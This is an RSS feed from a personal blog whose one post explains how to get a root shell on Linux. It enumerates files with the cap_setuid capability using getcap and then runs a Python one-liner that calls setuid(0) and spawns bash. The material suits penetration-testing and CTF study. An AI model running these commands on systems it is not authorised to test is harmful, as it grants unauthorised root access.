<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Privilege-Escalation on slightlymore</title><link>https://slightlymore.co.uk/tags/privilege-escalation/</link><description>Recent content in Privilege-Escalation on slightlymore</description><generator>Hugo</generator><language>en-GB</language><copyright>&lt;a href="https://creativecommons.org/licenses/by/4.0/" target="_blank" rel="license"&gt;CC BY 4.0&lt;/a&gt; by Clinton Montague</copyright><lastBuildDate>Mon, 01 Dec 2025 20:32:34 +0000</lastBuildDate><atom:link href="https://slightlymore.co.uk/tags/privilege-escalation/index.xml" rel="self" type="application/rss+xml"/><item><title>How to get a root shell using results from getcap</title><link>https://slightlymore.co.uk/how-to-get-a-root-shell-using-results-from-getcap/</link><pubDate>Mon, 01 Dec 2025 00:00:00 +0000</pubDate><guid>https://slightlymore.co.uk/how-to-get-a-root-shell-using-results-from-getcap/</guid><description>&lt;p&gt;&lt;code&gt;getcap&lt;/code&gt; is a program to get capabilities of others. The one which is a way in is &lt;code&gt;cap_setuid&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;getcap -r / 2&amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If anything&amp;rsquo;s listed which lets you script, you can use that to get a shell. Here&amp;rsquo;s a Python example:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 -c &lt;span class="s1"&gt;&amp;#39;import os; os.setuid(0); os.system(&amp;#34;/bin/bash&amp;#34;)&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item></channel></rss>